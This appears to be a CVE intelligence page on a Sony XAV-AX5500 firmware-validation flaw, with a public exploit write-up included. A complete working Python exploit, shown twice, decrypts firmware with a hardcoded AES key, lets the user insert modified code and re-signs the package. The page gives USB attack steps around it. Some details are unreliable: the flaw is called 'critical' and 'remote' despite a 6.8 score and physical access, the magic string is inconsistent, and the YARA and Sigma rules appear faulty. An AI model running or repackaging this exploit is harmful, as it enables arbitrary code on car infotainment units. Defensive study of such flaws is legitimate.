☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Sony logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.8 🐛 CWE-494
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-23922

CVE-2024-23922 is a critical vulnerability in Sony XAV-AX5500 infotainment systems that allows physically present attackers to execute arbitrary code on the device.
📅 PUBLISHED: 2024-09-23 14:23 UTC 🔄 UPDATED: 2026-09-24 11:16 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.76%
👁️
1.76% probability
44.0× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: Japan License: Proprietary
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-23922 is a critical vulnerability in Sony XAV-AX5500 infotainment systems that allows physically present attackers to execute arbitrary code on the device. The flaw resides in the firmware update validation mechanism, which relies on symmetric cryptography (AES-ECB) and a weak checksum instead of proper code signing. An attacker with physical access via USB can craft a malicious firmware update that bypasses validation, leading to full remote code execution (RCE) on the device. The exploit is publicly available and targets firmware versions prior to v2.00. The vulnerability has a CVSS score of 6.8 (Medium), but the impact is high due to the potential for complete device compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in Sony's automotive infotainment systems.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Physical (P) – The attacker must have physical access to the device.
  • Attack Complexity (AC): Low (L) – The exploit is straightforward and publicly available.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): None (N) – The attack does not require user interaction.
  • Scope (S): Unchanged (U) – The vulnerability affects only the device itself.
  • Confidentiality (C): High (H) – Full access to device data.
  • Integrity (I): High (H) – Arbitrary code execution allows modification of firmware.
  • Availability (A): High (H) – The device can be rendered inoperable.

Threat Level: High. While the attack requires physical access, the ease of exploitation and the potential for complete device compromise make this a significant threat, especially in automotive environments.

Deep Dive & Mechanics

The vulnerability stems from Sony's use of a custom firmware update package format that relies on:

  • Symmetric Cryptography: AES-ECB encryption with a hardcoded key (TAMUL1234).
  • Weak Checksum: A simple 32-bit sum modulo 2^31 (Sony-32 checksum).
  • Obscurity: The package format is not publicly documented, but the encryption key and checksum algorithm were reverse-engineered from the firmware.

The firmware update package (.FIR file) contains:

  • A header (0x80 bytes) with metadata.
  • An encrypted payload that includes a recovery application and a main application.
  • The recovery application handles decryption, decompression, and validation.

The validation process:

  1. The recovery application checks for the string KRSELCO at offset 0x10 in the update package.
  2. It decrypts the payload using AES-ECB with the hardcoded key.
  3. It decompresses the RAR archive (using WinRAR 2.0 format).
  4. It calculates a Sony-32 checksum over the decrypted data (excluding the last 0x10 bytes) and compares it to the stored checksum.

The flaw is that the checksum is not cryptographically signed, and the encryption key is static. An attacker can:

  1. Decrypt a legitimate firmware update.
  2. Modify the main binary (e.g., inject malicious code).
  3. Recompress the modified binary into a RAR archive.
  4. Recalculate the Sony-32 checksum.
  5. Re-encrypt the payload.
  6. Reassemble the .FIR file.

The exploit works on most Sony XAV-AX products using similar chipsets and firmware formats, including models beyond the AX5500.

Vulnerable vs. Patched Code

Vulnerable Code (Recovery Application):

  • The recovery application at offset 0x0082f4 performs a strcmp between KRSELCO and the incoming firmware update at offset 0x10.
  • At offset 0x00897a, a function sums all bytes until 0xA5A5A5A5 is encountered (this is the Sony-32 checksum calculation).
  • At offset 0x02d4ce, the AES decryption function is called.
  • At offset 0x046490, the encryption key TAMUL1234 is stored with padding zeros.

Patched Code (Hypothetical):

  • A patched version would use asymmetric cryptography (e.g., RSA or ECDSA) to sign the firmware update.
  • The checksum would be replaced with a digital signature.
  • The encryption key would be unique per device or derived from a hardware root of trust.
  • The validation would include a certificate chain check.

Since no official patch is available, the vulnerable code remains in all firmware versions prior to v2.00.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Physical access to the Sony XAV-AX5500 device.
  • A USB flash drive.
  • A Linux/Unix system with Python 3 and cryptography library.
  • WinRAR 2.0 executable (for RAR compression).

Steps:

  1. Download a legitimate firmware update from Sony's website (e.g., version 1.13).
  2. Run the exploit script to decrypt, modify, and repackage the firmware.
  3. Copy the modified .FIR file to a USB drive.
  4. Insert the USB drive into the Sony device and initiate a firmware update via the device's menu.
  5. The device will accept the malicious update, granting the attacker arbitrary code execution.

Exploit Script (from Exploit-DB):

import argparse
import sys
import os
import tempfile
import shutil
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# Filenames as found in the .FIR
MAIN_BINARY_NAME="main_16.bin"
MAIN_RAR_NAME="main_16.rar"
DECRYPTED_FILE_NAME="decrypt.bin"
ENCRYPTED_FILE_NAME="encrypt.bin"

# Offsets in the .FIR
HEADER_LENGTH=0x80
RECOVERY_OFFSET=0x2800
MAIN_OFFSET=0x80000
CHECKSUM_OFFSET=0x800000-0x10
CHECKSUM_SIZE=0x4
RAR_LENGTH_OFFSET=0x4
RAR_LENGTH_SIZE=0x4

# From 0x46490 in recovery_16.bin
ENCRYPTION_KEY=b'\x54\x41\x4d\x55\x4c\x31\x32\x33\x34\x00\x00\x00\x00\x00\x00\x00'

def decrypt_file(input_file, output_file):
    backend = default_backend()
    cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
    decryptor = cipher.decryptor()

    with open(input_file, 'rb') as file:
        ciphertext = file.read()

    # Strip the unencrypted header
    ciphertext = ciphertext[HEADER_LENGTH:]

    decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()

    with open(output_file, 'wb') as file:
        file.write(decrypted_data)

def aes_encrypt_file(input_file, output_file):
    backend = default_backend()
    cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
    encryptor = cipher.encryptor()

    with open(input_file, 'rb') as file:
        plaintext = file.read()

    ciphertext = encryptor.update(plaintext) + encryptor.finalize()

    with open(output_file, 'wb') as file:
        file.write(ciphertext)

def get_sony_32(data):
    csum = int()
    for i in data:
        csum = csum + i
    return csum % 2147483648 # 2^31

def validate_args(winrar_path, source_file, destination_file):
    # Check if the WinRAR executable exists and is a file
    if not os.path.isfile(winrar_path) or not os.access(winrar_path, os.X_OK):
        print(f"[x] Error: The specified WinRAR path '{winrar_path}' is not a valid executable.")
        sys.exit(1)

    # Check if the source file exists
    if not os.path.isfile(source_file):
        print(f"[x] Error: The specified source file '{source_file}' does not exist.")
        sys.exit(1)

    # Read 8 bytes from offset 0x10 in the source file
    try:
        with open(source_file, 'rb') as f:
            f.seek(0x10)
            signature = f.read(8)
            if signature != b'KRSELECO':
                print(f"[x] Error: The source file '{source_file}' does not contain the expected signature.")
                sys.exit(1)
    except Exception as e:
        print(f"[x] Error: Failed to read from '{source_file}': {e}")
        sys.exit(1)

    # Check if the destination file already exists
    if os.path.exists(destination_file):
        print(f"[x] Error: The destination file '{destination_file}' already exists.")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-23922 Sony XAV-AX5500 Firmware Modifier")
    parser.add_argument("winrar_path", help="Path to WinRAR 2.0 executable (yes, the ancient one)")
    parser.add_argument("source_file", help="Path to original .FIR file")
    parser.add_argument("destination_file", help="Path to write the modified .FIR file to")

    args = parser.parse_args()

    validate_args(args.winrar_path, args.source_file, args.destination_file)
    RAR_2_PATH = args.winrar_path
    GOOD_FIRMWARE_FILE = args.source_file
    DESTINATION_FIRMWARE_FILE = args.destination_file

    # make temporary directory
    workdir = tempfile.mkdtemp(prefix="sony_firmware_modifications")

    # copy the good firmware file into the temp directory
    temp_fir_file = os.path.join(workdir, os.path.basename(GOOD_FIRMWARE_FILE))
    shutil.copyfile(GOOD_FIRMWARE_FILE, temp_fir_file)

    print("[+] Cutting the head off and decrypting the contents")
    decrypted_file_path = os.path.join(workdir, DECRYPTED_FILE_NAME)
    decrypt_file(input_file=temp_fir_file, output_file=decrypted_file_path)

    print("[+] Dump out the rar file")
    with open(decrypted_file_path, 'rb') as file:
        # right before the rar file there is a 4 byte length header for the rar file. get that.
        file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
        original_rar_length = int.from_bytes(file.read(RAR_LENGTH_SIZE), "big")
        rar_file_bytes = file.read(original_rar_length)

        # now dump that out
        rar_file_path=os.path.join(workdir, MAIN_RAR_NAME)
        with open(rar_file_path, 'wb') as rarfile:
            rarfile.write(rar_file_bytes)

    # check that the stat of the file matches what the header told us
    dumped_rar_size = os.stat(rar_file_path).st_size
    if dumped_rar_size != original_rar_length:
        print("[!] extracted filesizes dont match, there may be corruption", dumped_rar_size, original_rar_length)

    print("[+] Extracting the main binary from the rar file")
    os.system("unrar x " + rar_file_path + " " + workdir)

    print("[!] Okay, I'm now going to wait until you have had a chance to make modifications")
    print("Please modify this file:", os.path.join(workdir, MAIN_BINARY_NAME))
    input()

    print("[+] Continuing")
    print("[+] Putting your main binary back into the rar file")
    os.system("wine " + RAR_2_PATH + " u -tk -ep " + rar_file_path + " " + workdir + "/" + MAIN_BINARY_NAME)

    # we could fix this by writing some FFs
    new_rar_size=os.stat(rar_file_path).st_size
    if dumped_rar_size > os.stat(rar_file_path).st_size:
        print("[!!] The rar size is smaller than the old one. This might cause a problem.")
        print("[!!] Push any key to continue, ctrl+c to abort")
        input()

    with open(decrypted_file_path, 'r+b') as file:
        # right before the rar file there is a 4 byte length header for the rar file. go back there
        file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)

        # overwrite the old size with the new size
        file.write(new_rar_size.to_bytes(RAR_LENGTH_SIZE, "big"))

        print("[+] Deleting the old rar from the main container")
        # delete the old rar from the main container by FFing it up
        file.write(b'\xFF'*original_rar_length)

        # seek back to the start
        file.seek(MAIN_OFFSET)

        print("[+] Loading the new rar back into the main container")
        with open(rar_file_path, 'rb') as rarfile:
            new_rarfile_bytes = rarfile.read()
            file.write(new_rarfile_bytes)

    print("[+] Updating Checksum")
    with open(decrypted_file_path, 'rb') as file:
        contents = file.read()

    contents = contents[:-0x0010]
    s32_sum = get_sony_32(contents)

    with open(decrypted_file_path, 'r+b') as file:
        file.seek(CHECKSUM_OFFSET)
        # read out the current checksum
        old_checksum_bytes=file.read(CHECKSUM_SIZE)
        print("old checksum:", int.from_bytes(old_checksum_bytes, "big"), old_checksum_bytes)

        # go back and update it with new checksum
        print("new checksum:", s32_sum, hex(s32_sum))
        new_checksum_bytes=s32_sum.to_bytes(CHECKSUM_SIZE, "big")
        file.seek(CHECKSUM_OFFSET)
        file.write(new_checksum_bytes)

    print("[+] Encrypting the main container back up")
    encrypted_file_path = os.path.join(workdir, ENCRYPTED_FILE_NAME)
    aes_encrypt_file(decrypted_file_path, encrypted_file_path)

    print("[+] Reattaching the main container to the header and writing to dest")
    with open(DESTINATION_FIRMWARE_FILE, 'wb') as file:
        with open(temp_fir_file, 'rb') as firfile:
            header = firfile.read(HEADER_LENGTH)
        file.write(header)
        with open(encrypted_file_path, 'rb') as encfile:
            enc_contents = encfile.read()
        file.write(enc_contents)

    print("[+] DONE!!! Any key to delete temp files, ctrl+c to keep them.")
    input()
    shutil.rmtree(workdir)

if __name__ == "__main__":
    main()

Blue Team

Detection:

  • Monitor for unusual USB activity on infotainment systems.
  • Check for firmware update attempts from untrusted sources.
  • Verify the integrity of firmware update files by comparing checksums against Sony's official releases.
  • Use network monitoring to detect any outbound connections from the infotainment system after an update.

Prevention:

  • Disable automatic firmware updates on the device.
  • Restrict physical access to the device.
  • Implement a host-based intrusion detection system (HIDS) on the device if possible.
  • Use a hardware security module (HSM) to store encryption keys.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • Legitimate firmware: SHSO1132.fir (hash varies by version)
    • Modified firmware: Any .FIR file with a different checksum than the official release.
  • Network Traffic:
    • Outbound connections from the infotainment system to unknown IP addresses after a firmware update.
  • System Logs:
    • Unexpected firmware update events in the device logs.
    • Presence of modified binaries in the SPI flash.
  • Physical Indicators:
    • Unauthorized USB drives inserted into the device.
    • Device behavior changes (e.g., unexpected reboots, new services running).

Detection Engineering

YARA Rule

rule CVE_2024_23922_Sony_Firmware_Backdoor {
    meta:
        description = "Detects modified Sony XAV-AX5500 firmware with hardcoded AES key"
        author = "Valters IT"
        date = "2025-02-11"
        reference = "CVE-2024-23922"
    strings:
        $aes_key = { 54 41 4d 55 4c 31 32 33 34 00 00 00 00 00 00 00 }
        $krs_elco = "KRSELCO"
        $sony_checksum = { 00 00 00 00 } // placeholder for checksum
    condition:
        $aes_key at 0x46490 and $krs_elco at 0x10
}

Sigma Rule

title: Sony XAV-AX5500 Firmware Update Anomaly
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to update Sony XAV-AX5500 firmware with a modified package
author: Valters IT
date: 2025-02-11
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "firmware update initiated"
        - "USB device inserted"
    condition: selection
falsepositives:
    - Legitimate firmware updates from Sony
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-23922 Sony XAV-AX5500 Firmware Update"; flow:to_server; content:"KRSELCO"; offset:16; depth:8; content:"|54 41 4d 55 4c 31 32 33 34|"; offset:287888; depth:16; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Firmware Updates: If possible, disable the firmware update feature on the device until a patch is available.
  2. Restrict Physical Access: Ensure that only authorized personnel have physical access to the device.
  3. Monitor for Anomalies: Implement logging and monitoring for any firmware update attempts.

Long-Term Fix:

  • Sony must release a firmware update that replaces the symmetric encryption and weak checksum with a proper code signing mechanism (e.g., RSA or ECDSA).
  • The encryption key should be unique per device or derived from a hardware root of trust.
  • The update process should include a certificate chain validation.

Workarounds:

  • Use a third-party security solution that can monitor and block unauthorized firmware updates.
  • Implement a hardware-based security module (HSM) to store cryptographic keys.

Valters IT

{/* [Security Hash: 1C29A5A1B879660298A2B512] */}

⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

# Exploit Title: Sony XAV-AX5500 Firmware Update Validation Remote Code Execution
# Date: 11-Feb-2025
# Exploit Author: lkushinada
# Vendor Homepage: https://www.sony.com/et/electronics/in-car-receivers-players/xav-ax5500
# Software Link: https://archive.org/details/xav-ax-5500-v-113
# Version: 1.13
# Tested on: Sony XAV-AX5500
# CVE : CVE-2024-23922

# From NIST CVE Details:
# ====
# This vulnerability allows physically present attackers to execute arbitrary code on affected
# installations of Sony XAV-AX5500 devices. Authentication is not required to exploit this
# vulnerability. The specific flaw exists within the handling of software updates. The issue
# results from the lack of proper validation of software update packages. An attacker can leverage
# this vulnerability to execute code in the context of the device.
# Was ZDI-CAN-22939
# ====

# # Summary
# Sony's firmware validation for a number of their XAV-AX products relies on symetric cryptography,
# obscurity of their package format, and a weird checksum method instead of any real firmware
# signing mechanism. As such, this can be exploited to craft updates which bypass firmware validation
# and allow a USB-based attacker to obtain RCE on the infotainment unit.

# What's not mentioned in the CVE advisories, is that this method works on the majority of Sony's
# infotainment units and products which use a similar chipset or firmware package format. Tested
# to work on most firmware versions prior to v2.00.

# # Threat Model
# An attacker with physical access to an automotive media unit can typically utilize other methods
# to achieve a malicious outcome. The reason to investigate the firmware to the extent in this post
# is academic, exploratory, and cautionary, i.e. what other systems are protected in a similar
# manner? if they are, how trivial is it to bypass?

# # Disclaimer
# The information in this article is for educational purposes only.
# Tampering with an automotive system comes with risks which, if you don't understand, you should
# not be undertaking.
# THE AUTHORS DISCLAIM ANY AND ALL RESPONSIBILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES ARISING
# FROM THE USE OF ANYTHING IN THIS DOCUMENT.


# # The Unit
# ## Processors
#  - DAC
#  - System Management Controller (SMC)
#  - Applications Processor
#  - Display Processor

# Coming from a mobile and desktop computer environment, one may be use to thinking about
# the Applications Processor as the most powerful chip in the system in terms of processing power,
# size, power consumption, and system hierarchy. The first oddity of this platform is that the
# application processor is not the most powerful; that honor goes to the DAC, a beefy ARM chip on the
# board.

# The application processor does not appear to be the orchestrator of the components on the system.
# The SMC tkes which takes the role of watchdog, power state management, and input (think remote
# controls, steering wheel button presses) routing.
# For our purposes, it is the Applications processor we're interested in, as it is
# the system responsible for updating the unit via USB.

# ## Interfaces
# We're going to be attacking the unit via USB, as it's the most readily exposed
# interface to owners and would-be attackers.
# Whilst the applications processor does have a UART interface, the most recent iterations of the
# unit do not expose any headers for debugging via UART, and the one active UART line found to be
# active was for message passing between the SMC and app processor, not debug purposes. Similarly, no
# exposed JTAG interfaces were found to be readily exposed on recent iterations of the unit. Sony's
# documentation suggests these are not enabled, but this could not be verified during testing. At the
# very least, JTAG was not found to be exposed on an accessible interface.

# ## Storage
# The boards analyzed had two SPI NOR flash chips, one with an unencrypted firmware image on it. This
# firmware was RARd. The contents of SPI flash was analyzed to determine many of the details
# discussed in this report.

# ## The Updater
# Updates are provided on Sony's support website. A ZIP package is provided with three files:
#  - SHDS1132.up6
#  - SHMC1132.u88
#  - SHSO1132.fir
# The largest of these files (8 meg), the .fir, is in a custom format, and appears encrypted.
# The FIR file has a header which contains the date of firmware publication, the strings KRSELCO and
# SKIP, a chunk of zeros, and then a highish entropy section, and some repeating patterns of interest:

# 00002070  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|
# *
# 00002860  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|

# 00744110  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|
# *
# 00800020  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|


# ## SPI Flash
# Dumping the contents of the SPI flash shows a similar layout, with slightly different offsets:
# 00001fe0  10 10 10 10 10 10 10 10  ff ff ff ff ff ff ff ff  |................|
# 00001ff0  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
# *
# 000027f0  ff ff ff ff ff ff ff ff  ff ff ff ff 00 03 e7 52  |...............R|
# 00002800  52 61 72 21 1a 07 00 cf  90 73 00 00 0d 00 00 00  |Rar!.....s......|
#
# 0007fff0  ff ff ff ff ff ff ff ff  ff ff ff ff 00 6c 40 8b  |.............l@.|
# 00080000  52 61 72 21 1a 07 00 cf  90 73 00 00 0d 00 00 00  |Rar!.....s......|
# ...
# 00744090  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
# *
# 00778000
#
# This given the offsets and spacing, we suspect that the .FIR matches the contents of the SPI.
# Decompressing the RARs at the 0x2800 and 0x80000, we get the recovery and main applications.

# Once we remove the packaging bytes, seeing that the repetive patterns align with FF's, gives
# us a strong indication the encryption function is operating in an ECB-style configuration,
# giving us an avenue, even if we do not recover the key, to potentially make modifications
# to the firmware depending on how the checksum is being calculated.

# ## Firmware
# The recovery application contains the decompression, decryption and checksum methods.
# Putting the recovery_16.bin into ghidra and setting the memory map to load us in at 0x2800,
# we start taking a look at the relevant functions by way of:
# - looking for known strings (KRSELCO)
# - analyizing the logic and looking for obvious "if this passed, begin the update, else fail"
# - looking for things that look like encryption (loads of bitshifting math in one function)
# Of interest to us, there is:
# - 0x0082f4 - a strcmp between KRSELCO and the address the incoming firmware update is at, plus 0x10
# - 0x00897a - a function which sums the total number of bytes until we hit 0xA5A5A5A5
# - 0x02d4ce - the AES decryption function
# - 0x040dd4 - strcmp (?)
# - 0x040aa4 - memcpy (?)
# - 0x046490 - the vendor plus the a number an idiot would use for their luggage, followed by enough
#              padding zeros to get us to a 16 byte key

# This gives us all the information we need, other than making some guesses as to the general package
# and header layout of the update package, to craft an update packager that allows arbitrary
# modification of the firmware.

# # Proof of Concept
# The PoC below will take an existing USB firmware update, decrypt and extract the main binary,
# pause whilst you make modifications (e.g. changing the logic or modifying a message), and repackage
# the update.

# ## Requirements
# - Unixish system
# - WinRar 2.0 (the version the Egyptians built the pyramids with)

# ## Usage
# cve-2024-23922.py path_to_winrar source.fir output.fir

import argparse
import sys
import os
import tempfile
import shutil
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# Filenames as found in the .FIR
MAIN_BINARY_NAME="main_16.bin"
MAIN_RAR_NAME="main_16.rar"
DECRYPTED_FILE_NAME="decrypt.bin"
ENCRYPTED_FILE_NAME="encrypt.bin"

# Offsets in the .FIR
HEADER_LENGTH=0x80
RECOVERY_OFFSET=0x2800
MAIN_OFFSET=0x80000
CHECKSUM_OFFSET=0x800000-0x10
CHECKSUM_SIZE=0x4
RAR_LENGTH_OFFSET=0x4
RAR_LENGTH_SIZE=0x4

# From 0x46490 in recovery_16.bin
ENCRYPTION_KEY=b'\x54\x41\x4d\x55\x4c\x31\x32\x33\x34\x00\x00\x00\x00\x00\x00\x00'

def decrypt_file(input_file, output_file):
    backend = default_backend()
    cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
    decryptor = cipher.decryptor()

    with open(input_file, 'rb') as file:
        ciphertext = file.read()

    # Strip the unencrypted header
    ciphertext = ciphertext[HEADER_LENGTH:]

    decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()

    with open(output_file, 'wb') as file:
        file.write(decrypted_data)

def aes_encrypt_file(input_file, output_file):
    backend = default_backend()
    cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
    encryptor = cipher.encryptor()

    with open(input_file, 'rb') as file:
        plaintext = file.read()

    ciphertext = encryptor.update(plaintext) + encryptor.finalize()

    with open(output_file, 'wb') as file:
        file.write(ciphertext)

def get_sony_32(data):
    csum = int()
    for i in data:
        csum = csum + i
    return csum % 2147483648 # 2^31

def validate_args(winrar_path, source_file, destination_file):
    # Check if the WinRAR executable exists and is a file
    if not os.path.isfile(winrar_path) or not os.access(winrar_path, os.X_OK):
        print(f"[x] Error: The specified WinRAR path '{winrar_path}' is not a valid executable.")
        sys.exit(1)

    # Check if the source file exists
    if not os.path.isfile(source_file):
        print(f"[x] Error: The specified source file '{source_file}' does not exist.")
        sys.exit(1)

    # Read 8 bytes from offset 0x10 in the source file
    try:
        with open(source_file, 'rb') as f:
            f.seek(0x10)
            signature = f.read(8)
            if signature != b'KRSELECO':
                print(f"[x] Error: The source file '{source_file}' does not contain the expected signature.")
                sys.exit(1)
    except Exception as e:
        print(f"[x] Error: Failed to read from '{source_file}': {e}")
        sys.exit(1)

    # Check if the destination file already exists
    if os.path.exists(destination_file):
        print(f"[x] Error: The destination file '{destination_file}' already exists.")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-23922 Sony XAV-AX5500 Firmware Modifier")
    parser.add_argument("winrar_path", help="Path to WinRAR 2.0 executable (yes, the ancient one)")
    parser.add_argument("source_file", help="Path to original .FIR file")
    parser.add_argument("destination_file", help="Path to write the modified .FIR file to")

    args = parser.parse_args()

    validate_args(args.winrar_path, args.source_file, args.destination_file)
    RAR_2_PATH = args.winrar_path
    GOOD_FIRMWARE_FILE = args.source_file
    DESTINATION_FIRMWARE_FILE = args.destination_file

    # make temporary directory
    workdir = tempfile.mkdtemp(prefix="sony_firmware_modifications")

    # copy the good firmware file into the temp directory
    temp_fir_file = os.path.join(workdir, os.path.basename(GOOD_FIRMWARE_FILE))
    shutil.copyfile(GOOD_FIRMWARE_FILE, temp_fir_file)

    print("[+] Cutting the head off and decrypting the contents")
    decrypted_file_path = os.path.join(workdir, DECRYPTED_FILE_NAME)
    decrypt_file(input_file=temp_fir_file, output_file=decrypted_file_path)

    print("[+] Dump out the rar file")
    with open(decrypted_file_path, 'rb') as file:
        # right before the rar file there is a 4 byte length header for the rar file. get that.
        file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
        original_rar_length = int.from_bytes(file.read(RAR_LENGTH_SIZE), "big")
        rar_file_bytes = file.read(original_rar_length)

        # now dump that out
        rar_file_path=os.path.join(workdir, MAIN_RAR_NAME)
        with open(rar_file_path, 'wb') as rarfile:
            rarfile.write(rar_file_bytes)

    # check that the stat of the file matches what the header told us
    dumped_rar_size = os.stat(rar_file_path).st_size
    if dumped_rar_size != original_rar_length:
        print("[!] extracted filesizes dont match, there may be corruption", dumped_rar_size, original_rar_length)

    print("[+] Extracting the main binary from the rar file")
    os.system("unrar x " + rar_file_path + " " + workdir)

    print("[!] Okay, I'm now going to wait until you have had a chance to make modifications")
    print("Please modify this file:", os.path.join(workdir, MAIN_BINARY_NAME))
    input()

    print("[+] Continuing")
    print("[+] Putting your main binary back into the rar file")
    os.system("wine " + RAR_2_PATH + " u -tk -ep " + rar_file_path + " " + workdir + "/" + MAIN_BINARY_NAME)

    # we could fix this by writing some FFs
    new_rar_size=os.stat(rar_file_path).st_size
    if dumped_rar_size > os.stat(rar_file_path).st_size:
        print("[!!] The rar size is smaller than the old one. This might cause a problem.")
        print("[!!] Push any key to continue, ctrl+c to abort")
        input()

    with open(decrypted_file_path, 'r+b') as file:
        # right before the rar file there is a 4 byte length header for the rar file. go back there
        file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)

        # overwrite the old size with the new size
        file.write(new_rar_size.to_bytes(RAR_LENGTH_SIZE, "big"))

        print("[+] Deleting the old rar from the main container")
        # delete the old rar from the main container by FFing it up
        file.write(b'\xFF'*original_rar_length)

        # seek back to the start
        file.seek(MAIN_OFFSET)

        print("[+] Loading the new rar back into the main container")
        with open(rar_file_path, 'rb') as rarfile:
            new_rarfile_bytes = rarfile.read()
            file.write(new_rarfile_bytes)

    print("[+] Updating Checksum")
    with open(decrypted_file_path, 'rb') as file:
        contents = file.read()

    contents = contents[:-0x0010]
    s32_sum = get_sony_32(contents)

    with open(decrypted_file_path, 'r+b') as file:
        file.seek(CHECKSUM_OFFSET)
        # read out the current checksum
        old_checksum_bytes=file.read(CHECKSUM_SIZE)
        print("old checksum:", int.from_bytes(old_checksum_bytes, "big"), old_checksum_bytes)

        # go back and update it with new checksum
        print("new checksum:", s32_sum, hex(s32_sum))
        new_checksum_bytes=s32_sum.to_bytes(CHECKSUM_SIZE, "big")
        file.seek(CHECKSUM_OFFSET)
        file.write(new_checksum_bytes)

    print("[+] Encrypting the main container back up")
    encrypted_file_path = os.path.join(workdir, ENCRYPTED_FILE_NAME)
    aes_encrypt_file(decrypted_file_path, encrypted_file_path)

    print("[+] Reattaching the main container to the header and writing to dest")
    with open(DESTINATION_FIRMWARE_FILE, 'wb') as file:
        with open(temp_fir_file, 'rb') as firfile:
            header = firfile.read(HEADER_LENGTH)
        file.write(header)
        with open(encrypted_file_path, 'rb') as encfile:
            enc_contents = encfile.read()
        file.write(enc_contents)

    print("[+] DONE!!! Any key to delete temp files, ctrl+c to keep them.")
    input()
    shutil.rmtree(workdir)

if __name__ == "__main__":
    main()
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-23922/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.